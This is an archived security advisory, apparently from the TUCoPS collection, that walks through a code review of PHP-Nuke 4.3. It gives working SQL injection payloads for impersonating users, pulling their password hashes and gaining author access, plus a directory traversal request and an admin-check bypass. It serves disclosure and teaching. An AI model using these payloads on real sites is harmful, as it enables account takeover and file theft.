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TUCoPS :: Web :: PHP :: phpnuke6.htm

PHP-Nuke - impersonate others



Vulnerability

    PHP-Nuke

Affected

    PHP-Nuke

Description

    'rain  forest  puppy   (RFP)'  found  following  (tested on v4.3).
    PHP-Nuke is a pretty groovy web portal/news system written in PHP.
    RFP was actually so impressed with  its look, and even more so  by
    some of its features, that he  decided to use it for two  upcoming
    projects, and like any  other piece of code  he decide to use,  he
    gave it a quick code review  (via la open source!).  While  he was
    happy with  the code  in general,  it did  exhibit a  few security
    problems involving tampering with SQL statements.

    This  is  not   an  extremely  useful   hack--it  allows  you   to
    impersonate other users  and retrieve their  password hashes.   It
    also has  a caveat  that could  allow an  attacker to easily brute
    force an author (admin) password.

    First off,  to better  aid SQL  hacking, it  helps to  turn on SQL
    query logging.   In MySQL,  this is  a matter  of adding  the  '-l
    logfile' parameter to (safe_)mysqld when starting it.  Next, let's
    take a look at  the code.  Since  this is written in  PHP and uses
    MySQL, our target  function is mysql_query().   So let's grep  for
    all uses of mysql_query():

        [rfp@cide nuke]# ls
        admin/        config.php   index.php         print.php     topics.php
        admin.php     counter.php  language          scroller.js   ultramode.txt
        article.php   dhtmllib.js  links.php         search.php    upgrades
        auth.inc.php  faq.php      mainfile.php      sections.php  user.php
        backend.php   footer.php   manual/           stats.php     voteinclude.php
        banners.php   friend.php   memberslist.php   submit.php
        cache/        header.php   pollBooth.php     themes/
        comments.php  images/      pollcomments.php  top.php
        
        [rfp@cide nuke]# grep mysql_query *
        admin.php:      $result = mysql_query("SELECT qid FROM queue");
        .... 254 more lines of SQL queries that I don't want to print here ....

    Now, lets take a look at those that contain variables, since  it's
    possible user input is contained in those variables.  For example,
    a few select lines from that output:

        article.php:    mysql_query("update users set umode='$mode',
		        uorder='$order', thold='$thold' where uid='$cookie[0]'");
        
        banners.php:    mysql_query("delete from banner where bid=$bid");
        
        comments.php:   $something = mysql_query("$q");
        
        user.php:       $result = mysql_query("select email, pass from users where
		        (uname='$uname')");
        
        index.php:      mysql_query("insert into referer values (NULL, '$referer')");

    The query from article.php contains four variables: $mode, $order,
    $thold, and $cookie[0].   The banners.php is interesting,  because
    it  seems  that  the  entire  query  is  contained  within  the $q
    variable, meaning  we must  look inside  the file  to see what the
    value is.  In doing that, we get:

        $q = "select tid, pid, sid, date, name, email, url, host_name,
	subject, comment, score, reason from comments where sid=$sid
	and pid=$pid";
        if($thold != "") {
                $q .= " and score>=$thold";
        } else {
                $q .= " and score>=0";
        }
        if ($order==1) $q .= " order by date desc";
        if ($order==2) $q .= " order by score desc";

    So we see that  $q used the variables  $sid and $pid, and  perhaps
    $thold, if it's defined.

    So what do we do now?  Well, let's take a look at what is actually
    in some  of those  variables.   We'll start  with the  above query
    listed for article.php.   Here is the  actual code, with  comments
    removed:

        <?PHP
        
        if(!isset($mainfile)) { include("mainfile.php"); }
        if(!isset($sid) && !isset($tid)) { exit(); }
        
        if($save) {
    	        cookiedecode($user);
    	        mysql_query("update users set umode='$mode', uorder='$order',
	        thold='$thold' where uid='$cookie[0]'");
                getusrinfo($user);
    	        $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
	        "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
	        "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
                setcookie("user","$info",time()+$cookieusrtime);
        }

    The code was reformatted for display in this advisory.

    So  we  see  that  nothing  is  apparently  done to $mode, $order,
    $thold,  or  $cookie[0].   However,  mainfile.php  is included and
    something may be happening  in the cookiedecode() function,  so we
    need to check them out.

    First,  let's  see  if  mainfile.php  defines the variables $mode,
    $order, $thold, or $cookie:

        [rfp@cide nuke]# grep \$mode mainfile.php
        [rfp@cide nuke]# grep \$order mainfile.php
        [rfp@cide nuke]# grep \$thold mainfile.php
        [rfp@cide nuke]#

    Hmm, so  mainfile.php doesn't  do anything  with those  variables.
    However, a plethora of stuff is returned for $cookie (this is  not
    shown).   This  is  due  to  cookiedecode()  (and  other   similar
    functions) contained  in mainfile.php.   So, here  is the  code to
    cookiedecode():

        function cookiedecode($user) {
    	        global $cookie;
    	        $user = base64_decode($user);
    	        $cookie = explode(":", $user);
    	        return $cookie;
        }

    The  call  to  cookiedecode()  takes  the  string in $user, base64
    decodes  it,  and  then  splits  it  into  parts  around  the  ':'
    character, putting it into the array $cookie[].  This makes sense,
    since the above SQL query  is using $cookie[0], the first  element
    of the array.

    Huh?   Where does  $user come  from?   A grep through mainfile.php
    shows that $user is only used in functions.

    Wow.  That means the author does not do *anything* to $user (which
    is decoded and split into $cookie[0]), $mode, $order, $thold.  For
    those  of  you  that  are  not  familiar with PHP, PHP will define
    global  variables  with  values  taken  from  URL parameters.  For
    example, a query of:

        /somefile.php?varb1=rain&value2=forest¶m3=puppy

    will make three  global variables in  the script $varb1,  $value2,
    and  $param3  with  the  values  of 'rain', 'forest', and 'puppy',
    respectively.   This means  that we  can plug  in arbitrary values
    for $mode,  $order, and  $thold for  article.php by  requesting an
    URL that looks something like:

        /article.php?mode=rain&order=forest&thold=puppy

    But before we  do that, there's  one more piece  we're forgetting,
    the snippet:

        if($save) {
	        ...

    That means the $save variable has to be set.  A quick grep through
    mainfile.php shows that $save is not referenced, meaning it  needs
    to be included in the URL.  This gives us:

        /article.php?mode=rain&order=forest&thold=puppy&save=1

    So  let's  try  it.   Requesting  this  page, nothing is returned,
    because we forgot about the following line:

        if(!isset($sid) && !isset($tid)) { exit(); }

    Ugh, so we  need to add  $sid and $tid  to the URL  line, which is
    now:

        /article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0

    This returns a page that has an error.  Looking at our mysql query
    logs, there's an entry for:

        1 Query      update users set umode='rain', uorder='forest', thold='puppy' where uid=''

    This proves that it's working.  We can now submit values  into the
    SQL query.  We now need to see if we can *tamper* with the  query.
    We will  attempt to  ‘rewrite’ the  query so  that it will include
    other SQL code.  Doing  this involves some trickery: the  addition
    of some extra single  quotes.  What we'll  do is change $thold  to
    read:

        puppy', thold='puppy

    This should result in a query that looks like:

        update users set umode='rain', uorder='forest',
	        thold='puppy', thold='puppy' where uid=''
                           ^^^^^^^^^^^^^^^^^^^^
                            the data we submit

    Sure, it's  not exactly  a useful  SQL statement,  but we're  only
    verifying our  exploit method.   So let's  fire that  into the URL
    and submit it:

        /article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&save=1&sid=0&tid=0

    This results in a mysql log of:

        5 Query      update users set umode='rain', uorder='forest', thold='puppy\', thold=\'puppy' where uid=''

    DRAT!  It seems PHP  automatically escapes the ' (it  changes them
    into \') when  they are processed  from URL parameters.   Granted,
    we are using PHP 4, so  perhaps PHP 3.x doesn't, but still.   From
    the exploit  angle, this  sucks.   From the  security angle,  this
    rocks.

    Anyway, all  is not  lost.   At this  point, we  know that  global
    variables  being  thrown  into  SQL  statements *may* sometimes be
    safe (it may  be PHP version  dependant).  But  let's go back  and
    look at  the cookiedecode()  function.   It takes  a global  value
    ($user),  base64  decodes  it,  splits  it,  and  puts it into the
    $cookie[] array.  Note  that $user could be  in a HTTP cookie,  or
    it  could  be  a  URL  parameter--PHP  doesn't  make a distinction
    (well, at least this code doesn't).

    Since the actual value is encoded by base64 encoding, PHP  doesn't
    do any escaping on the value that's encoded.  Meaning whatever  we
    put in the $user value should be safe.  Let's see.

    First,  we  need  to  get  the  right value.  Since cookiedecode()
    expects to split a value with the ':' character and use the  first
    value,  we  at  least  need   'something:'  as  our  value.    The
    'something'  is  our  text.    For  now,  we'll   set  it  to   be
    'www.cipherwar.com:'.  Now, we need to base64 encode it.  A  quick
    little commandline ditty:

        [rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
        begin-base64 644 f
        d3d3LmNpcGhlcndhci5jb206
        ====

    This means we need to add the following to our URL:

        &user=d3d3LmNpcGhlcndhci5jb206

    And when we run the above  URL with the extra user parameter,  our
    mysql logs show:

        7 Query      update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com'

    Rock!  Ok, now can we escape the SQL statement?

        [root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |
	        uuencode -m f
        begin-base64 644 f
        d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
        ====

    Putting that in the URL and submitting it, my mysql log now shows:

        3 Query      update users set umode='rain', uorder='forest', thold='puppy' where uid='www.cipherwar.com'	or uid='1'

    !@$%!   It worked!   As we  can see,  our values  are  unmolested,
    allowing us  to tamper  with the  query.   However, we're slightly
    limited in our exploitation, due to  a few caveats of MySQL.   For
    those of you who are  familiar with SQL hacking, and  particularly
    some of  the tricks  published in  the past,  MySQL does not allow
    multiple SQL commands  to be submitted  in one query.   That means
    something like:

        mysql_query("select * from table1; select * from table2");

    It does not run two  'selects'--it only runs the first,  and drops
    the second into  oblivion.  However  (don't lose hope),  RFP found
    this tidbit on the MySQL TODO list:

        Fix `libmysql.c' to allow two mysql_query() commands in a  row
        without reading results or give a nice error message when  one
        does this.

    But also listed on the TODO list:

        Subqueries. select id from t  where grp in (select grp  from g
        where u > 100)

    Both of  which would  greatly increase  the SQL  hacking aspect of
    MySQL.   In the  meantime, that  doesn't help  us (unless the site
    rewrote  PHP-Nuke  to  use  a  different  database engine, such as
    Postgres.   But  this  is  doubtful).   This  means  we  have  the
    limitation of only tampering with  the query given (i.e. we  can't
    add a separate query).  Since PHP escapes URL parameter  variables
    we are  also limited,  unless the  query contains  a variable that
    was  parsed   by  the   script  in   some  form   (such  as   with
    cookiedecode()).  Hmm, that's quite a few limitations.

    So let's look at the query we've been running:

        mysql_query("update users set umode='$mode', uorder='$order', thold='$thold' where uid='$cookie[0]'");

    By specifying an  arbitrary uid value,  we can clobber  the umode,
    uorder, and  thold values  of any  user.   Though annoying,  it is
    hardly a critical security problem, since umode, uorder, and thold
    are just the  display preferences of  a user.   Let's look at  the
    entire code snippet:

        if($save) {
                cookiedecode($user);
                mysql_query("update users set umode='$mode', uorder='$order',
                thold='$thold' where uid='$cookie[0]'");
                getusrinfo($user);
                $info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
                "$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
                "$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
                setcookie("user","$info",time()+$cookieusrtime);
        }

    After calling cookiedecode() and running the first query,  there's
    a call to getusrinfo(), and then a bunch of the user's information
    is base64 encoded and  sent to us as  a cookie.  However,  notice!
    The  $userinfo[pass]  value  is  included!   This  means, if we're
    careful, we may possibly be  sent a cookie that contains  a user's
    password.  All we need to do is get past getusrinfo():

        function getusrinfo($user) {
    	        global $userinfo;
    	        $user2 = base64_decode($user);
    	        $user3 = explode(":", $user2);
    	        $result = mysql_query("select uid, name, uname, email,
		        femail, url, pass, storynum, umode, uorder,
		        thold, noscore, bio, ublockon, ublock, theme,
		        commentmax from users where uname='$user3[1]'
		        and pass='$user3[2]'");
                if(mysql_num_rows($result)==1) {
    	                $userinfo = mysql_fetch_array($result);
                } else {
    	                echo "<b>A problem occured</b><br>";
                }
    	        return $userinfo;
        }

    Hmm,  ok,  let's  see.   Again,  it  takes the $user value, base64
    decodes it  (just like  cookiedecode()), then  runs a  query using
    parts  2  and  3  from   the  cookie  ($user3[1]  and   $user3[2],
    respectively).  However,  to correctly work,  we need to  know the
    right uname and pass of  the target user, otherwise the  SQL query
    will return 0 rows, and will  display "A problem occured".  If  we
    already know the username and  password of a user, we  wouldn't be
    going through this, now would we?

    So, can we tamper with the query?  We're looking to return all the
    user data for the record where "uname='name' and pass='password'".
    Perhaps  if  we  broaden  the  search  criteria, we can do better.
    Consider a query that looks like:

        ... where uname='name' and pass='password' or uname='name'

    Logically, the query is grouped like so:

        ... where (uname='name' and pass='password') or (uname='name')

    So now, if we  know a user's username  (which we should), but  not
    their password, the  first clause will  fail; however, the  second
    will succeed!  Or at least, that's the plan....

    So let's  test that  hypothesis.   Now we  need to  make our $user
    variable contain something like:

        uid:username:blah' or uname='username

    On tested system RFP wanted to target the user 'test1'.  So we are
    going to try the values:

        1:test1:blah' or uname='test1

    Now, let's encode that:

        [root@cide nuke]# echo -n "1:test1:blah' or uname='test1" | uuencode -m f
        begin-base64 644 f
        MTp0ZXN0MTpibGFoJyBvciB1bmFtZT0ndGVzdDE=
        ====

    Put that in our  query above, and try  it out.  Lo  and behold, we
    sent a Cookie that looks like:

        Set-Cookie: user=MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA%3D;
        expires=Friday, 29-Dec-00 20:14:00 GMT

    Now, the user  value is base64  encoded.  RFP  has his own  way to
    base64 decode stuff, but to  be compatible with what we  have been
    writing (i.e. using the command line), the best way is to create a
    file (let's call it 'encode') with the following contents:

        begin-base64 666 user
        MTp0ZXN0MTpsZmtTdjlOUTFla2xnOjEwOnJhaW46MDowOjA=
        ===

    Note: replace all %3D with '=', and don't include the ending ';'

    Now, run the following command:

        [root@cide nuke]# uudecode encode; cat user
        uudecode: encode: illegal line
        1:test1:lfkSv9NQ1eklg:10:rain:0:0:0

    And there we  go--that's the uid,  username, password, etc  of the
    target user (test1).  Now,  before you think that we  use *really*
    strong  passwords,  you  should  know  that PHP-Nuke uses password
    hashing.   That means  you'll have  to crack  the password hash to
    get the actual password.

    But does  that matter?   We are  going to  hop over  to  user.php.
    User.php is  the script  that manages  user information, including
    login,  new  user  registrations,  user  information changes, etc.
    Particularly, what does  it take to  change a user's  information?
    Well, let's see:

        function edituser() {
                global $user, $userinfo;
    	        include("header.php");
                getusrinfo($user);
                nav();
            ?>
            <table cellpadding=8 border=0><tr><td>
            <form action="user.php" method="post">
            <b><?php echo translate("Real Name"); ?></b> <?php echo
        translate("(optional)"); ?><br>
            <input class=textbox type="text" name="name" value="<?PHP
        echo"$userinfo [name]"; ?>" size=30 maxlength=60><br>
        ...

    Hmmm, so it  includes header.php (which  just inserts the  correct
    heading  HTML  for  the  user's  preferred  theme).  Then it calls
    getusrinfo().   Well,  we  just  went  through  how  we  can abuse
    getusrinfo()  to  set  $userinfo  to  any value.  After edituser()
    calls getuserinfo(), it then calls nav(), followed by starting  to
    print out all the  user's information.  So,  it seems, if we  have
    the valid user  cookie, we can  successfully become that  user--we
    don't even need to crack the password.

    But  the  edituser()  function  is  called  when  we  want to view
    information. If we want to modify a user's information, we'd  have
    to get past the saveuser() function, which starts off with:

        function saveuser($uid, $name, $uname, $email, $femail, $url, $pass,
	        $vpass, $bio) {
		        global $user, $cookie, $userinfo, $EditedMessage,
		        $system, $minpass;
		        cookiedecode($user);
		        // Vulnerability fix thanks to DrBrain
		        $user_check=$cookie[1];
		        $result=mysql_query("select uid from users where
		        uname='$user_check'");
		        $vuid=mysql_result($result,0,"uid");
		        if ($user AND ($cookie[1] == $uname) AND ($uid == $vuid)) {
		        ...

    Of course, what's  interesting about this  is that it  was already
    'fixed' for a security vulnerability.   Let's take a look at  what
    the code is doing...

    cookiedecode() decodes the $user value into the $cookie array.  We
    supply the $uid, $user, and $uname values.  So the pseudo-code for
    this looks like:
    - Decode $user into $cookie array
    - Look up the uid of the user given in $cookie (from $user,  which
      we supply)
    - If the username in $cookie (which we give) matches the  username
      in $uname (which we give), and the $uid (which we give)  matches
      the uid of the username  given in $cookie (which we  give), then
      proceed

    It seems  the actual  crux of  this code  makes sure  our supplied
    cookie matches the username we're giving as a parameter, and  that
    we  know  the  correct  userid  (uid)  to go along with our target
    username.  If we go back  up to the edituser() above, you'll  find
    out that the uid of the  username queried is returned as a  hidden
    field (we didn't include  that snippet of code).   So we can do  a
    query to edituser()  to get the  uid, and then  to saveuser() with
    the approriate cookie, uname, and uid values.

    But of course,  what good does  that do?   Sure, we can  take over
    user accounts.  But the gem would be something with administrative
    access, which in PHP-Nuke's case, are considered 'authors'.

    So  what  do  we  know  about  author  accounts?  Taking a peek in
    nuke.sql, which  is the  initial SQL  script for  PHP-Nuke, we see
    that author and user information are kept in separate tables--that
    means we  need to  find a  SQL query  that is  querying the author
    table specifically.  So, let's see:

        [root@cide nuke]# grep mysql_query *|grep author
        
        admin.php:      $result = mysql_query("select radminarticle,
        radmintopic,radminleft,radminright,radminuser,radminmain,
        radminsurvey,radminsection,radminlink,radminephem,radminfilem,
        radminhead,radminsuper from authors where aid='$aid'");
        
        auth.inc.php:   $result=mysql_query("select pwd from authors where
        aid='$aid'");
        
        auth.inc.php:  $result=mysql_query("select pwd from authors where
        aid='$aid'");
        
        mainfile.php:   $holder = mysql_query("SELECT url, email FROM authors
        where aid='$aid'");
        
        mainfile.php:   mysql_query("insert into stories values (NULL,
        '$aid', '$title', now(), '$hometext', '$bodytext', '0', '0', '$topic',
        '$author', '$notes')");
        
        search.php:  $thing = mysql_query("select aid from authors order by
        aid");
        
        stats.php:$result = mysql_query("select * from authors");
        
        top.php:$result = mysql_query("select aid, counter from authors order
        by counter DESC limit 0,$top");

    Hmm, so  only 8  hits.   The second  query in mainfile.php doesn't
    actually  query  the  “author”  table,  and  the stats.php doesn't
    include any  variables, so  those can  be scratched.   Top.php  is
    severely limited--if  MySQL allowed  extra queries  to be appended
    (like I've discussed  in the past  and above), then  it would have
    possibility; but  in our  case, it  doesn't, so  we don't  need to
    spend time on it.   Mainfile.php doesn't retrieve any  interesting
    information from the “author” table, so we can't really abuse  it.
    So that leaves us with admin.php and auth.inc.php.

    Admin.php  is  the  page  where  administrators log in and perform
    administrative functions.  The first thing admin.php does is  call
    auth.inc.php,  so  that  means,  essentially,  we  need  to   fool
    auth.inc.php to do anything we want.  Now, there are two pieces to
    auth.inc.php...the initial login, and the standard author password
    check:

    Initial login:

        if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
          if($aid!="" AND $pwd!="") {
                $result=mysql_query("select pwd from authors where aid='$aid'");
                list($pass)=mysql_fetch_row($result);
                if($pass == $pwd) {
                  $admin = base64_encode("$aid:$pwd");
                  setcookie("admin","$admin",time()+2592000);
                }
	          }
        }

    Standard author password check:

        if(isset($admin)) {
          $admin = base64_decode($admin);
          $admin = explode(":", $admin);
          $aid = "$admin[0]";
          $pwd = "$admin[1]";
          if ($aid=="" || $pwd=="") {
	            $admintest=0;
	            echo .... bunch of HTML ....;
	            exit;
          }
          $result=mysql_query("select pwd from authors where aid='$aid'");
          if(!$result) {
            echo "Selection from database failed!";
            exit;
          } else {
	            list($pass)=mysql_fetch_row($result);
	            if($pass == $pwd && $pass != "") {
 		        $admintest = 1;
	            }
          }
        }

    Now, what's interesting about  the initial login snippet  is that,
    like  article.php,  if  we  can  trick  it into thinking we're the
    user,  it  will  return  to  us  a  cookie  with  the username and
    password.   However, to  get author  status, we  need to trick the
    standard author password check snippet into setting $admintest=1.

    Looking  at  the  initial  login  snippet,  we see that we need to
    tamper with  the $aid  parameter; but,  as discussed  earlier, PHP
    doesn't  allow  us  to  include  SQL  escaping  tricks,  so it's a
    relative dead end.

    Now the other snippet pulls those values from the $admin  'cookie'
    value, which we  know we can  tamper with (as  seen earlier).   So
    we're really left dealing with the following query:

        $result=mysql_query("select pwd from authors where aid='$aid'");

    And we must meet this requirement:

        if($pass == $pwd && $pass != "") {

    Hmm,  that's  tough.   We  must  somehow  manipulate  the query to
    return a known value, that cannot  be blank.  Given the query,  it
    will only return  values in the  'pwd' column.   Heck, if we  knew
    those values already, we  wouldn't need to be  doing this.  So  we
    sat stumped,  trying to  figure out  what to  do.   Then something
    occurred to RFP.  We need to know the value the query is going  to
    return.   That  value  needs  to  be  the  password of an existing
    author.  So, what  if we did a  search for the password?   Imagine
    this query:

        select pwd from authors where aid='arbitrary' or pwd='password'

    This would  perform a  query and  select records  where aid  had a
    value of 'arbitrary' or password had a value of 'password'.  Hmmm.
    So what good is that?

    What's advantageous  about this  is that  it will  match if  *any*
    author  has  the  'password'  (or  whatever  we  specify) as their
    password.  We can manipulate it by supplying an aid value of:

        ' or pwd='common_password

    So then if  any author has  a password that  matches what we  sent
    (common_password  in  this  case),  the  $pwd  variable is sent to
    'common_password'.   If  we  also  set pass=commmon_password, then
    $pass==$pwd,  and  we're  authenticated  as  an author.  Actually,
    we're  authenticated  as  the  author  that  has  the  password we
    supplied.  PHP-Nuke  does allow different  'rights' to be  set for
    each  author,  and  we  many  not  have rights to do anything, but
    still, we have author status.  That's all this exercise was  meant
    for.

    Before you become really disappointed,  you should take a look  at
    some of the options available to authors.  Surprisingly, no rights
    are required  to do  such things  as run  'env' (which essentially
    gives you  php_info()), 'show'  (view arbitrary  files viewable by
    the  webserver's  uid),  'chdr'  (get  nicely  formatted directory
    listings),  'edit'  (write  contents  into  files  writable by the
    webserver's uid), etc.

    As far  as SQL  hacking goes,  that's it  for PHP-Nuke.   Hope you
    enjoyed the long example!

    PHP-Nuke includes a few other things that RFP felt would be  nifty
    to point out, in regards to this being an educational walk-through
    in reviewing PHP code.  When RFP sit down to review some code, the
    first  things  he  look   at  are  system-interaction   functions,
    particularly  filesystem  interaction  and  command execution.  In
    PHP, some of the target functions include:

        exec()		- run external commands
        passthru()	- run external commands
        system()	- run external commands
        
        fopen()		- open a file (or URL)
        readfile()	- output a file (or URL)
        include()	- include a file (or URL)
        include_once()	- (same as include)

    The first  three deal  with executing  programs.   The other  four
    deal with reading files.   Note that require()/require_once()  are
    expanded on  initialization, meaning  there is  no room  to tamper
    with them during  execution and therefore  they are not  reviewed.
    So, how do we  start evaluating the use  of these functions?   The
    easiest place to start is grep:

        [root@cide nuke]# grep exec *
        stats.php:$time = (exec("date"));
        stats.php:$uptime_info = "Uptime:" . trim(exec("uptime")) . "\n\n";
        stats.php:exec ("df", $x);

    Hmm, three hits.  However, none of them contain any variables (the
    $x in the 'df' one is for output), so we can't tamper with any  of
    them.  Moving  on...passthru() doesn't yeild  any hits.   System()
    yeilds some hits, but they are mostly text and variable  names--no
    actual use of the system() function.

    So let's move on to the  file functions.  What's unique to  PHP is
    that you can actually  supply an URL to  a file function, and  PHP
    will remotely fetch  it and use  it.  So  this gives us  the added
    bonus  of  possibly  being  able  to  pull  in  code from external
    systems--a fun feature indeed!

    So let's see:

        [root@cide nuke]# grep fopen *
        admin.php:      $fp=fopen($basedir.$file,"w");
        admin.php:      $fp=fopen($basedir.$file,"r");
        admin.php:      $fp=fopen($basedir.$filelocation,"w");
        mainfile.php:    $file = fopen("$ultra", "w");
        mainfile.php:   $fpread = fopen($headlinesurl, 'r');
        mainfile.php:       $fpwrite = fopen($cache_file, 'w');

    Hmm, well the admin.phps are promising, pending on where  $basedir
    and $file/$filelocation are defined.   Same with mainfile.php  and
    $headlines/$cache_file.   So  looking  at  admin.php  we  see that
    $basedir is defined at:

        $basedir = dirname($SCRIPT_FILENAME);

    This is essentially  the directory where  the script is.   Looking
    around, you can  see that $file  is not defined  anywhere, meaning
    we can specify it  in the URL parameters!   Looking at the  'show'
    and 'edit'  operations in  admin.php, our  hunch is  right--'show'
    will open the  file specified by  $basedir.$file, just like  edit.
    We can't really  control $basedir, but  we can control  $file.  So
    if we use '..' (otherwise known as "reverse directory  traversal",
    and  **NOT  TRANSVERSAL**!...'traverse'  means  to  move or travel
    along...'transverse' means to  be crosswise or  at an angle  with.
    Sorry, pet  peeve).   That means  calling the  'edit' operation in
    admin.php  with   a  file   parameter  set   to  something    like
    '../../../../etc/hosts'  allows  us  to  view  the contents of the
    system's hosts file.  The other fopen's can be abused in the  same
    manner.

    So let's move on to mainfile.php.  Looking at $headlinesurl:

        $result = mysql_query("select sitename, url, headlinesurl from
	        headlines where status=1");
        while (list($sitename, $url, $headlinesurl) =
	        mysql_fetch_row($result)) {

    It's  a  static  query  into  the  headlines table.  Unless we can
    insert values into the headlines  database, it's not much good  to
    us.  $cache_file is defined as:

        $cache_file = "cache/$sitename.cache";

    using the $sitename from the same query as $headlinesurl.

    Moving on  to include_once()  and readfile(),  returns zero  hits.
    But include() is used a lot...in  fact, it's used 355 times.   But
    that's because it's used to include other files, particularly  the
    header  and  footer  of  the  theme,  etc.  Considering we're only
    interested in  include()'s that  contain variables,  we can filter
    out the cruft and keep the interesting ones:

        footer.php:   include("themes/$cookie[9]/footer.php");
        footer.php:   include("themes/$Default_Theme/footer.php");
        header.php:   include("themes/$cookie[9]/theme.php");
        header.php:   include("themes/$cookie[9]/header.php");
        header.php:   include("themes/$Default_Theme/theme.php");
        header.php:   include("themes/$Default_Theme/header.php");
        mainfile.php: include("language/lang-$language.php");
        mainfile.php: include($cache_file);

    header.php  and  footer.php  use  the  include()'s  to include the
    appropriate  file  for  the  user's  preferred  theme (or uses the
    $Default_Theme if not specified).   $language and $cache_file  are
    also  defined  in  mainfile.php,  so  mainfile.php  is a dead end.
    Let's look at header.php.  The relevant code looks like:

        if (!isset($index)) {
    	        include("config.php");
    	        global $artpage, $topic;
	        } else {
    	        global $site_font, $sitename, $artpage, $topic, $banners,
	        $Default_Theme, $uimages;
	        }
        
        ....
        
            if(isset($user)) {
                    $user2 = base64_decode($user);
                    $cookie = explode(":", $user2);
                    if($cookie[9]=="") $cookie[9]=$Default_Theme;
                    if(isset($theme)) $cookie[9]=$theme;
                    include("themes/$cookie[9]/theme.php");
                    include("themes/$cookie[9]/header.php");
            } else {
                    include("themes/$Default_Theme/theme.php");
                    include("themes/$Default_Theme/header.php");
            }

    So here we see the include is using $cookie[9] if $user is set, or
    $Default_Theme if not.   $Default_Theme is defined in  config.php,
    which is included above if $index is not defined.

    Did  you  get   that?   Perhaps  you   should  read  it   again...
    "$Default_Theme is defined in config.php, which is included  above
    if $index  is not  defined."   Huh.   So if  we define  $index (by
    including index=1  in our  URL), config.php  is NOT  included, and
    therefore we can specify an arbitrary $Default_Theme value in  the
    URL as well.  Let's test this.

    We are going to request the following URL:

        /header.php?index=1&Default_Theme=rain.forest.puppy

    We are greeted with the following PHP errors:

        Warning: Failed opening 'themes/rain.forest.puppy/theme.php' for
        inclusion (include_path='') in /home/httpd/html/nuke/header.php on
        line 97
        
        Warning: Failed opening 'themes/rain.forest.puppy/header.php' for
        inclusion (include_path='') in /home/httpd/html/nuke/header.php on
        line 98

    Wow, it worked.  So,  can we submit values for  Default_Theme that
    would  allow  us  to  include  arbitrary files?  Unfortunately the
    'themes/'   is   prefixed,   so   we   can't   use   PHP's    cool
    remote-URL-fetch-file-include feature.

    We can definately use '..' notation to go into parent directories.
    However, the problem  is that '/theme.php'  is always appended  to
    whatever we submit.  We can't view '../../../../etc/hosts' because
    the final include() is called with the value:

        themes/../../../../etc/hosts/theme.php

    So we need  to somehow ditch  the extra '/theme.php'  that's being
    appended.  Those of you who  read my Phrack 55 article ("Perl  CGI
    Problems") may recall  the 'Poison Null  Byte' scenario we  talked
    about.  For those of you who haven't read it, a copy is  available
    at:

        http://www.wiretrip.net/rfp/p/doc.asp?id=6

    The Poison Null Byte scenario involves submitting a NULL character
    in an attempt to get the application to ignore the extra  appended
    crap.  The theory goes something like this:

    - We submit:

         ../../../../etc/hosts<NULL>

      (<NULL> is the  NULL  character,  and not the 6-character string
      <NULL>)

    - The application puts it all together into:

        themes/../../../../etc/hosts<NULL>/theme.php

    - The application gives it to the sytem to include()

    - The system reads up the NULL byte, and stops there, since system
      functions are built to stop processing a string once a NULL byte
      is reached

    - Since the  system stops at  the NULL byte,  they are effectively
      opening themes/../../../../etc/hosts

    So RFP tried it.  And it doesn't work.  In fact, RFP tried all 255
    values  (every  possible  character)--nadda.   PHP  is  smart  and
    doesn't fall for  that trick.   So this attack  won't work, unless
    someone knows some  way to fool  PHP like you  can fool the  other
    scripting languages.  But we thought it had some educational value
    and was worth mentioning.

    There is  one last  thing I’d  like to  point out.   The admin.php
    script  include()'s  a  bunch  of  supporting scripts found in the
    /admin/  directory.   Each  of  these  scripts  includes a 'safety
    check' that looks like:

        if (!eregi("admin.php", $PHP_SELF)) { die ("Access Denied"); }

    This essentially  scans the  URL to  see if  admin.php is the file
    being used (i.e.  we're calling admin.php,  and admin.php is  then
    include()'ing the file, versus us calling it directly).   However,
    the regex performed by eregi  doesn't work--all it cares about  is
    that admin.php is  included *somewhere* in  the URL.   Imagine the
    following request:

        /admin/authors.php/admin.php

    This will actually call the /admin/authors.php (which contains the
    above safety check).   The extra '/admin.php'  is superfluous  and
    not used.  But the regex  performed by eregi() will still see  the
    extra '/admin.php' part, and therefore  it will check out OK.   So
    the check was subverted.   However, there is nothing usable  (that
    we saw) in  any of the  /admin/ files, and  the SQL queries  won't
    work since the SQL connection info is defined in config.php, which
    is  included  via  admin.php  (and  not  in  any of the individual
    /admin/ files).   But it  was still  interesting to  point out why
    this method of checking doesn't necessarily work.

Solution

    RFP contacted  the author  on Dec  29, 2000.   Unfortunately,  the
    author misunderstanded  RFP's intentions.   The authors  view,  in
    regards to security, can be viewed at the following two locations:

        http://www.phpnuke.org/article.php?sid=1022&mode=thread&order=0&thold=0
        http://www.securityfocus.com/archive/1/162261

    Of course, his point is  valid: people point out flaws,  and don't
    help fix them.  Not sure is PHP-nuke 4.4 is fixing this.


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